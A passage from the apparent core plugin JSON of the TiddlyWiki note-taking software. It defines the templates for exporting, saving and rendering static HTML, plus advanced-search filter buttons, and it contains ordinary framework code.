"tags": "$:/tags/Exporter",
"description": "{{$:/language/Exporters/JsonFile}}",
"extension": ".json",
"text": "\\define renderContent()\n<$text text=<<jsontiddlers filter:\"\"\"$(exportFilter)$\"\"\">>/>\n\\end\n<<renderContent>>\n"
},
"$:/core/templates/exporters/StaticRiver": {
"title": "$:/core/templates/exporters/StaticRiver",
"tags": "$:/tags/Exporter",
"description": "{{$:/language/Exporters/StaticRiver}}",
"extension": ".html",
"text": "\\define tv-wikilink-template() #$uri_encoded$\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<style type=\"text/css\">\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n</style>\n</head>\n<body class=\"tc-body\">\n{{$:/StaticBanner||$:/core/templates/html-tiddler}}\n<section class=\"tc-story-river\">\n{{$:/core/templates/exporters/StaticRiver/Content||$:/core/templates/html-tiddler}}\n</section>\n</body>\n</html>\n"
},
"$:/core/templates/exporters/StaticRiver/Content": {
"title": "$:/core/templates/exporters/StaticRiver/Content",
"text": "\\define renderContent()\n{{{ $(exportFilter)$ ||$:/core/templates/static-tiddler}}}\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n<<renderContent>>\n"
},
"$:/core/templates/exporters/TidFile": {
"title": "$:/core/templates/exporters/TidFile",
"tags": "$:/tags/Exporter",
"description": "{{$:/language/Exporters/TidFile}}",
"extension": ".tid",
"text": "\\define renderContent()\n{{{ $(exportFilter)$ +[limit[1]] ||$:/core/templates/tid-tiddler}}}\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n<<renderContent>>"
},
"$:/core/save/all-external-js": {
"title": "$:/core/save/all-external-js",
"text": "\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\\define saveTiddlerFilter()\n[is[tiddler]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/core]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]] $(publishFilter)$\n\\end\n{{$:/core/templates/tiddlywiki5-external-js.html}}\n"
},
"$:/core/templates/tiddlywiki5.js": {
"title": "$:/core/templates/tiddlywiki5.js",
"text": "\\rules only filteredtranscludeinline transcludeinline codeinline\n\n/*\n{{ $:/core/copyright.txt ||$:/core/templates/plain-text-tiddler}}\n`*/\n`<!--~~ Library modules ~~-->\n{{{ [is[system]type[application/javascript]library[yes]] ||$:/core/templates/plain-text-tiddler}}}\n<!--~~ Boot prefix ~~-->\n{{ $:/boot/bootprefix.js ||$:/core/templates/plain-text-tiddler}}\n<!--~~ Core plugin ~~-->\n{{$:/core/templates/tiddlywiki5.js/tiddlers}}\n<!--~~ Boot kernel ~~-->\n{{ $:/boot/boot.js ||$:/core/templates/plain-text-tiddler}}\n"
},
"$:/core/templates/tiddlywiki5.js/tiddlers": {
"title": "$:/core/templates/tiddlywiki5.js/tiddlers",
"text": "`\n$tw.preloadTiddlerArray(`<$text text=<<jsontiddlers \"[[$:/core]]\">>/>`);\n$tw.preloadTiddlerArray([{\n\ttitle: \"$:/config/SaveWikiButton/Template\",\n\ttext: \"$:/core/save/all-external-js\"\n}]);\n`\n"
},
"$:/core/templates/tiddlywiki5-external-js.html": {
"title": "$:/core/templates/tiddlywiki5-external-js.html",
"text": "\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n{{$:/core/templates/MOTW.html}}<html lang=\"`<$text text={{{ [{$:/language}get[name]] }}}/>`\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<!--~~ Raw markup for the top of the head section ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified/TopHead]] ||$:/core/templates/raw-static-tiddler}}}\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\"/>\n<meta name=\"application-name\" content=\"TiddlyWiki\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\" />\n<meta name=\"copyright\" content=\"{{$:/core/copyright.txt}}\" />\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<!--~~ This is a Tiddlywiki file. The points of interest in the file are marked with this pattern ~~-->\n\n<!--~~ Raw markup ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/core/wiki/rawmarkup]] [all[shadows+tiddlers]tag[$:/tags/RawMarkup]] ||$:/core/templates/plain-text-tiddler}}}\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified]] ||$:/core/templates/raw-static-tiddler}}}\n</head>\n<body class=\"tc-body\">\n<!--~~ Raw markup for the top of the body section ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified/TopBody]] ||$:/core/templates/raw-static-tiddler}}}\n<!--~~ Static styles ~~-->\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<!--~~ Static content for Google and browsers without JavaScript ~~-->\n<noscript>\n<div id=\"splashArea\">\n{{$:/core/templates/static.area}}\n</div>\n</noscript>\n<!--~~ Ordinary tiddlers ~~-->\n{{$:/core/templates/store.area.template.html}}\n<!--~~ Raw markup for the bottom of the body section ~~-->\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawMarkupWikified/BottomBody]] ||$:/core/templates/raw-static-tiddler}}}\n</body>\n<script src=\"%24%3A%2Fcore%2Ftemplates%2Ftiddlywiki5.js\" onerror=\"alert('Error: Cannot load tiddlywiki.js');\"></script>\n</html>\n"
},
"$:/core/templates/html-div-skinny-tiddler": {
"title": "$:/core/templates/html-div-skinny-tiddler",
"text": "<!--\n\nThis template is a variant of $:/core/templates/html-div-tiddler used for saving skinny tiddlers (with no text field)\n\n-->`<div`<$fields template=' $name$=\"$encoded_value$\"'></$fields>`>\n<pre></pre>\n</div>`\n"
},
"$:/core/templates/html-div-tiddler": {
"title": "$:/core/templates/html-div-tiddler",
"text": "<!--\n\nThis template is used for saving tiddlers as an HTML DIV tag with attributes representing the tiddler fields.\n\n-->`<div`<$fields template=' $name$=\"$encoded_value$\"'></$fields>`>\n<pre>`<$view field=\"text\" format=\"htmlencoded\" />`</pre>\n</div>`\n"
},
"$:/core/templates/html-tiddler": {
"title": "$:/core/templates/html-tiddler",
"text": "<!--\n\nThis template is used for saving tiddlers as raw HTML\n\n--><$view field=\"text\" format=\"htmlwikified\" />"
},
"$:/core/templates/javascript-tiddler": {
"title": "$:/core/templates/javascript-tiddler",
"text": "<!--\n\nThis template is used for saving JavaScript tiddlers as a script tag with data attributes representing the tiddler fields.\n\n-->`<script`<$fields template=' data-tiddler-$name$=\"$encoded_value$\"'></$fields>` type=\"text/javascript\">`<$view field=\"text\" format=\"text\" />`</script>`"
},
"$:/core/templates/json-tiddler": {
"title": "$:/core/templates/json-tiddler",
"text": "<!--\n\nThis template is used for saving tiddlers as raw JSON\n\n--><$text text=<<jsontiddler>>/>"
},
"$:/core/templates/module-tiddler": {
"title": "$:/core/templates/module-tiddler",
"text": "<!--\n\nThis template is used for saving JavaScript tiddlers as a script tag with data attributes representing the tiddler fields. The body of the tiddler is wrapped in a call to the `$tw.modules.define` function in order to define the body of the tiddler as a module\n\n-->`<script`<$fields template=' data-tiddler-$name$=\"$encoded_value$\"'></$fields>` type=\"text/javascript\" data-module=\"yes\">$tw.modules.define(\"`<$view field=\"title\" format=\"jsencoded\" />`\",\"`<$view field=\"module-type\" format=\"jsencoded\" />`\",function(module,exports,require) {`<$view field=\"text\" format=\"text\" />`});\n</script>`"
},
"$:/core/templates/plain-text-tiddler": {
"title": "$:/core/templates/plain-text-tiddler",
"text": "<$view field=\"text\" format=\"text\" />"
},
"$:/core/templates/raw-static-tiddler": {
"title": "$:/core/templates/raw-static-tiddler",
"text": "<!--\n\nThis template is used for saving tiddlers as static HTML\n\n--><$view field=\"text\" format=\"plainwikified\" />"
},
"$:/core/save/all": {
"title": "$:/core/save/all",
"text": "\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\\define saveTiddlerFilter()\n[is[tiddler]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]] $(publishFilter)$\n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
},
"$:/core/save/empty": {
"title": "$:/core/save/empty",
"text": "\\define saveTiddlerFilter()\n[is[system]] -[prefix[$:/state/popup/]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]]\n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
},
"$:/core/save/lazy-all": {
"title": "$:/core/save/lazy-all",
"text": "\\define saveTiddlerFilter()\n[is[system]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] +[sort[title]] \n\\end\n\\define skinnySaveTiddlerFilter()\n[!is[system]]\n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
},
"$:/core/save/lazy-images": {
"title": "$:/core/save/lazy-images",
"text": "\\define saveTiddlerFilter()\n[is[tiddler]] -[prefix[$:/state/popup/]] -[[$:/HistoryList]] -[[$:/boot/boot.css]] -[type[application/javascript]library[yes]] -[[$:/boot/boot.js]] -[[$:/boot/bootprefix.js]] -[!is[system]is[image]] +[sort[title]] \n\\end\n\\define skinnySaveTiddlerFilter()\n[is[image]]\n\\end\n{{$:/core/templates/tiddlywiki5.html}}\n"
},
"$:/core/templates/server/static.sidebar.wikitext": {
"title": "$:/core/templates/server/static.sidebar.wikitext",
"text": "\\whitespace trim\n<div class=\"tc-sidebar-scrollable\" style=\"overflow: auto;\">\n<div class=\"tc-sidebar-header\">\n<h1 class=\"tc-site-title\">\n<$transclude tiddler=\"$:/SiteTitle\"/>\n</h1>\n<div class=\"tc-site-subtitle\">\n<$transclude tiddler=\"$:/SiteSubtitle\"/>\n</div>\n<h2>\n</h2>\n<div class=\"tc-sidebar-lists\">\n<$list filter={{$:/DefaultTiddlers}}>\n<div class=\"tc-menu-list-subitem\">\n<$link><$text text=<<currentTiddler>>/></$link>\n</div>\n</$list>\n</div>\n<!-- Currently disabled the recent list as it is unweildy when the responsive narrow view kicks in\n<h2>\n{{$:/language/SideBar/Recent/Caption}}\n</h2>\n<div class=\"tc-sidebar-lists\">\n<$macrocall $name=\"timeline\" format={{$:/language/RecentChanges/DateFormat}}/>\n</div>\n</div>\n</div>\n-->\n"
},
"$:/core/templates/server/static.tiddler.html": {
"title": "$:/core/templates/server/static.tiddler.html",
"text": "\\whitespace trim\n\\define tv-wikilink-template() $uri_encoded$\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content={{$:/core/templates/version}} />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<link rel=\"stylesheet\" href=\"%24%3A%2Fcore%2Ftemplates%2Fstatic.template.css\">\n<title><$view field=\"caption\" format=\"plainwikified\"><$view field=\"title\"/></$view>: <$view tiddler=\"$:/core/wiki/title\" format=\"plainwikified\"/></title>\n</head>\n<body class=\"tc-body\">\n<$transclude tiddler=\"$:/core/templates/server/static.sidebar.wikitext\" mode=\"inline\"/>\n<section class=\"tc-story-river\">\n<div class=\"tc-tiddler-frame\">\n<$transclude tiddler=\"$:/core/templates/server/static.tiddler.wikitext\" mode=\"inline\"/>\n</div>\n</section>\n</body>\n</html>"
},
"$:/core/templates/server/static.tiddler.wikitext": {
"title": "$:/core/templates/server/static.tiddler.wikitext",
"text": "\\whitespace trim\n<div class=\"tc-tiddler-title\">\n<div class=\"tc-titlebar\">\n<h2><$text text=<<currentTiddler>>/></h2>\n</div>\n</div>\n<div class=\"tc-subtitle\">\n<$link to={{!!modifier}}>\n<$view field=\"modifier\"/>\n</$link> <$view field=\"modified\" format=\"date\" template={{$:/language/Tiddler/DateFormat}}/>\n</div>\n<div class=\"tc-tags-wrapper\">\n<$list filter=\"[all[current]tags[]sort[title]]\">\n<a href={{{ [<currentTiddler>encodeuricomponent[]] }}}>\n<$macrocall $name=\"tag-pill\" tag=<<currentTiddler>>/>\n</a>\n</$list>\n</div>\n<div class=\"tc-tiddler-body\">\n<$transclude mode=\"block\"/>\n</div>\n"
},
"$:/core/templates/single.tiddler.window": {
"title": "$:/core/templates/single.tiddler.window",
"text": "\\whitespace trim\n\\define containerClasses()\ntc-page-container tc-page-view-$(storyviewTitle)$ tc-language-$(languageTitle)$\n\\end\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<$set name=\"tv-config-toolbar-icons\" value={{$:/config/Toolbar/Icons}}>\n\n<$set name=\"tv-config-toolbar-text\" value={{$:/config/Toolbar/Text}}>\n\n<$set name=\"tv-config-toolbar-class\" value={{$:/config/Toolbar/ButtonClass}}>\n\n<$set name=\"tv-show-missing-links\" value={{$:/config/MissingLinks}}>\n\n<$set name=\"storyviewTitle\" value={{$:/view}}>\n\n<$set name=\"languageTitle\" value={{{ [{$:/language}get[name]] }}}>\n\n<div class=<<containerClasses>>>\n\n<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\">\n\n<$transclude mode=\"block\"/>\n\n</$navigator>\n\n</div>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n\n</$set>\n"
},
"$:/core/templates/split-recipe": {
"title": "$:/core/templates/split-recipe",
"text": "<$list filter=\"[!is[system]]\">\ntiddler: <$view field=\"title\" format=\"urlencoded\"/>.tid\n</$list>\n"
},
"$:/core/templates/static-tiddler": {
"title": "$:/core/templates/static-tiddler",
"text": "<a name=<<currentTiddler>>>\n<$transclude tiddler=\"$:/core/ui/ViewTemplate\"/>\n</a>"
},
"$:/core/templates/static.area": {
"title": "$:/core/templates/static.area",
"text": "<$reveal type=\"nomatch\" state=\"$:/isEncrypted\" text=\"yes\">\n{{{ [all[shadows+tiddlers]tag[$:/tags/RawStaticContent]!has[draft.of]] ||$:/core/templates/raw-static-tiddler}}}\n{{$:/core/templates/static.content||$:/core/templates/html-tiddler}}\n</$reveal>\n<$reveal type=\"match\" state=\"$:/isEncrypted\" text=\"yes\">\nThis file contains an encrypted ~TiddlyWiki. Enable ~JavaScript and enter the decryption password when prompted.\n</$reveal>\n<!-- ensure splash screen isn't shown when JS is disabled -->\n`<style>\n.tc-remove-when-wiki-loaded {display: none;}\n</style>`\n"
},
"$:/core/templates/static.content": {
"title": "$:/core/templates/static.content",
"text": "<!-- For Google, and people without JavaScript-->\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n<ul>\n<$list filter=<<saveTiddlerFilter>>>\n<li><$view field=\"title\" format=\"text\"></$view></li>\n</$list>\n</ul>\n"
},
"$:/core/templates/static.template.css": {
"title": "$:/core/templates/static.template.css",
"text": "{{$:/boot/boot.css||$:/core/templates/plain-text-tiddler}}\n\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n"
},
"$:/core/templates/static.template.html": {
"title": "$:/core/templates/static.template.html",
"type": "text/vnd.tiddlywiki-html",
"text": "\\define tv-wikilink-template() static/$uri_doubleencoded$.html\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\rules only filteredtranscludeinline transcludeinline\n<!doctype html>\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>{{$:/core/wiki/title}}</title>\n<div id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n</div>\n<style type=\"text/css\">\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n</style>\n</head>\n<body class=\"tc-body\">\n{{$:/StaticBanner||$:/core/templates/html-tiddler}}\n{{$:/core/ui/PageTemplate||$:/core/templates/html-tiddler}}\n</body>\n</html>\n"
},
"$:/core/templates/static.tiddler.html": {
"title": "$:/core/templates/static.tiddler.html",
"text": "\\define tv-wikilink-template() $uri_doubleencoded$.html\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n`<!doctype html>\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"`{{$:/core/templates/version}}`\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\">\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<link rel=\"stylesheet\" href=\"static.css\">\n<title>`<$view field=\"caption\"><$view field=\"title\"/></$view>: {{$:/core/wiki/title}}`</title>\n</head>\n<body class=\"tc-body\">\n`{{$:/StaticBanner||$:/core/templates/html-tiddler}}`\n<section class=\"tc-story-river\">\n`<$view tiddler=\"$:/core/ui/ViewTemplate\" format=\"htmlwikified\"/>`\n</section>\n</body>\n</html>\n`"
},
"$:/core/templates/store.area.template.html": {
"title": "$:/core/templates/store.area.template.html",
"text": "<$reveal type=\"nomatch\" state=\"$:/isEncrypted\" text=\"yes\">\n`<div id=\"storeArea\" style=\"display:none;\">`\n<$list filter=<<saveTiddlerFilter>> template=\"$:/core/templates/html-div-tiddler\"/>\n<$list filter={{{ [<skinnySaveTiddlerFilter>] }}} template=\"$:/core/templates/html-div-skinny-tiddler\"/>\n`</div>`\n</$reveal>\n<$reveal type=\"match\" state=\"$:/isEncrypted\" text=\"yes\">\n`<!--~~ Encrypted tiddlers ~~-->`\n`<pre id=\"encryptedStoreArea\" type=\"text/plain\" style=\"display:none;\">`\n<$encrypt filter=<<saveTiddlerFilter>>/>\n`</pre>`\n</$reveal>"
},
"$:/core/templates/tid-tiddler": {
"title": "$:/core/templates/tid-tiddler",
"text": "<!--\n\nThis template is used for saving tiddlers in TiddlyWeb *.tid format\n\n--><$fields exclude='text bag' template='$name$: $value$\n'></$fields>`\n`<$view field=\"text\" format=\"text\" />"
},
"$:/core/templates/tiddler-metadata": {
"title": "$:/core/templates/tiddler-metadata",
"text": "<!--\n\nThis template is used for saving tiddler metadata *.meta files\n\n--><$fields exclude='text bag' template='$name$: $value$\n'></$fields>"
},
"$:/core/templates/tiddlywiki5.html": {
"title": "$:/core/templates/tiddlywiki5.html",
"text": "<$set name=\"saveTiddlerAndShadowsFilter\" filter=\"[subfilter<saveTiddlerFilter>] [subfilter<saveTiddlerFilter>plugintiddlers[]]\">\n`<!doctype html>\n`{{$:/core/templates/MOTW.html}}`<html lang=\"`<$text text={{{ [{$:/language}get[name]] }}}/>`\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n<!--~~ Raw markup for the top of the head section ~~-->\n`{{{ [<saveTiddlerAndShadowsFilter>tag[$:/tags/RawMarkupWikified/TopHead]] ||$:/core/templates/raw-static-tiddler}}}`\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\"/>\n<meta name=\"application-name\" content=\"TiddlyWiki\" />\n<meta name=\"generator\" content=\"TiddlyWiki\" />\n<meta name=\"tiddlywiki-version\" content=\"`{{$:/core/templates/version}}`\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\n<meta name=\"mobile-web-app-capable\" content=\"yes\"/>\n<meta name=\"format-detection\" content=\"telephone=no\" />\n<meta name=\"copyright\" content=\"`{{$:/core/copyright.txt}}`\" />\n<link id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n<title>`{{$:/core/wiki/title}}`</title>\n<!--~~ This is a Tiddlywiki file. The points of interest in the file are marked with this pattern ~~-->\n\n<!--~~ Raw markup ~~-->\n`{{{ [enlist<saveTiddlerAndShadowsFilter>tag[$:/core/wiki/rawmarkup]] ||$:/core/templates/plain-text-tiddler}}}\n{{{ [enlist<saveTiddlerAndShadowsFilter>tag[$:/tags/RawMarkup]] ||$:/core/templates/plain-text-tiddler}}}\n{{{ [enlist<saveTiddlerAndShadowsFilter>tag[$:/tags/RawMarkupWikified]] ||$:/core/templates/raw-static-tiddler}}}`\n</head>\n<body class=\"tc-body\">\n<!--~~ Raw markup for the top of the body section ~~-->\n`{{{ [enlist<saveTiddlerAndShadowsFilter>tag[$:/tags/RawMarkupWikified/TopBody]] ||$:/core/templates/raw-static-tiddler}}}`\n<!--~~ Static styles ~~-->\n<div id=\"styleArea\">\n`{{$:/boot/boot.css||$:/core/templates/css-tiddler}}`\n</div>\n<!--~~ Static content for Google and browsers without JavaScript ~~-->\n<noscript>\n<div id=\"splashArea\">\n`{{$:/core/templates/static.area}}`\n</div>\n</noscript>\n<!--~~ Ordinary tiddlers ~~-->\n`{{$:/core/templates/store.area.template.html}}`\n<!--~~ Library modules ~~-->\n<div id=\"libraryModules\" style=\"display:none;\">\n`{{{ [is[system]type[application/javascript]library[yes]] ||$:/core/templates/javascript-tiddler}}}`\n</div>\n<!--~~ Boot kernel prologue ~~-->\n<div id=\"bootKernelPrefix\" style=\"display:none;\">\n`{{ $:/boot/bootprefix.js ||$:/core/templates/javascript-tiddler}}`\n</div>\n<!--~~ Boot kernel ~~-->\n<div id=\"bootKernel\" style=\"display:none;\">\n`{{ $:/boot/boot.js ||$:/core/templates/javascript-tiddler}}`\n</div>\n<!--~~ Raw markup for the bottom of the body section ~~-->\n`{{{ [enlist<saveTiddlerAndShadowsFilter>tag[$:/tags/RawMarkupWikified/BottomBody]] ||$:/core/templates/raw-static-tiddler}}}`\n</body>\n</html>`\n"
},
"$:/core/templates/version": {
"title": "$:/core/templates/version",
"text": "<<version>>"
},
"$:/core/templates/wikified-tiddler": {
"title": "$:/core/templates/wikified-tiddler",
"text": "<$transclude />"
},
"$:/core/ui/AboveStory/tw2-plugin-check": {
"title": "$:/core/ui/AboveStory/tw2-plugin-check",
"tags": "$:/tags/AboveStory",
"text": "\\define lingo-base() $:/language/AboveStory/ClassicPlugin/\n<$list filter=\"[all[system+tiddlers]tag[systemConfig]limit[1]]\">\n\n<div class=\"tc-message-box\">\n\n<<lingo Warning>>\n\n<ul>\n\n<$list filter=\"[all[system+tiddlers]tag[systemConfig]]\">\n\n<li>\n\n<$link><$view field=\"title\"/></$link>\n\n</li>\n\n</$list>\n\n</ul>\n\n</div>\n\n</$list>\n"
},
"$:/core/ui/Actions/new-image": {
"title": "$:/core/ui/Actions/new-image",
"tags": "$:/tags/Actions",
"description": "create a new image tiddler",
"text": "\\define get-type()\nimage/$(imageType)$\n\\end\n<$vars imageType={{$:/config/NewImageType}}>\n<$action-sendmessage $message=\"tm-new-tiddler\" type=<<get-type>> tags={{$:/config/NewTiddler/Tags!!tags}}/>\n</$vars>\n"
},
"$:/core/ui/Actions/new-journal": {
"title": "$:/core/ui/Actions/new-journal",
"tags": "$:/tags/Actions",
"description": "create a new journal tiddler",
"text": "<$vars journalTitleTemplate={{$:/config/NewJournal/Title}} journalTags={{$:/config/NewJournal/Tags!!tags}} journalText={{$:/config/NewJournal/Text}}>\n<$wikify name=\"journalTitle\" text=\"\"\"<$macrocall $name=\"now\" format=<<journalTitleTemplate>>/>\"\"\">\n<$reveal type=\"nomatch\" state=<<journalTitle>> text=\"\">\n<$action-sendmessage $message=\"tm-new-tiddler\" title=<<journalTitle>> tags=<<journalTags>> text={{{ [<journalTitle>get[]] }}}/>\n</$reveal>\n<$reveal type=\"match\" state=<<journalTitle>> text=\"\">\n<$action-sendmessage $message=\"tm-new-tiddler\" title=<<journalTitle>> tags=<<journalTags>> text=<<journalText>>/>\n</$reveal>\n</$wikify>\n</$vars>\n"
},
"$:/core/ui/Actions/new-tiddler": {
"title": "$:/core/ui/Actions/new-tiddler",
"tags": "$:/tags/Actions",
"description": "create a new empty tiddler",
"text": "<$action-sendmessage $message=\"tm-new-tiddler\" tags={{$:/config/NewTiddler/Tags!!tags}}/>\n"
},
"$:/core/ui/AdvancedSearch/Filter": {
"title": "$:/core/ui/AdvancedSearch/Filter",
"tags": "$:/tags/AdvancedSearch",
"caption": "{{$:/language/Search/Filter/Caption}}",
"text": "\\define lingo-base() $:/language/Search/\n<<lingo Filter/Hint>>\n\n<div class=\"tc-search tc-advanced-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\" focus={{$:/config/Search/AutoFocus}}/>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/AdvancedSearch/FilterButton]!has[draft.of]]\"><$transclude/></$list>\n</div>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$set name=\"resultCount\" value=\"\"\"<$count filter={{$:/temp/advancedsearch}}/>\"\"\">\n<div class=\"tc-search-results\">\n<<lingo Filter/Matches>>\n<$list filter={{$:/temp/advancedsearch}} template=\"$:/core/ui/ListItemTemplate\"/>\n</div>\n</$set>\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/Filter/FilterButtons/clear": {
"title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/clear",
"tags": "$:/tags/AdvancedSearch/FilterButton",
"text": "<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/Filter/FilterButtons/delete": {
"title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/delete",
"tags": "$:/tags/AdvancedSearch/FilterButton",
"text": "<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button popup=<<qualify \"$:/state/filterDeleteDropdown\">> class=\"tc-btn-invisible\">\n{{$:/core/images/delete-button}}\n</$button>\n</$reveal>\n\n<$reveal state=<<qualify \"$:/state/filterDeleteDropdown\">> type=\"popup\" position=\"belowleft\" animate=\"yes\">\n<div class=\"tc-block-dropdown-wrapper\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<div class=\"tc-dropdown-item-plain\">\n<$set name=\"resultCount\" value=\"\"\"<$count filter={{$:/temp/advancedsearch}}/>\"\"\">\nAre you sure you wish to delete <<resultCount>> tiddler(s)?\n</$set>\n</div>\n<div class=\"tc-dropdown-item-plain\">\n<$button class=\"tc-btn\">\n<$action-deletetiddler $filter={{$:/temp/advancedsearch}}/>\nDelete these tiddlers\n</$button>\n</div>\n</div>\n</div>\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/Filter/FilterButtons/dropdown": {
"title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/dropdown",
"tags": "$:/tags/AdvancedSearch/FilterButton",
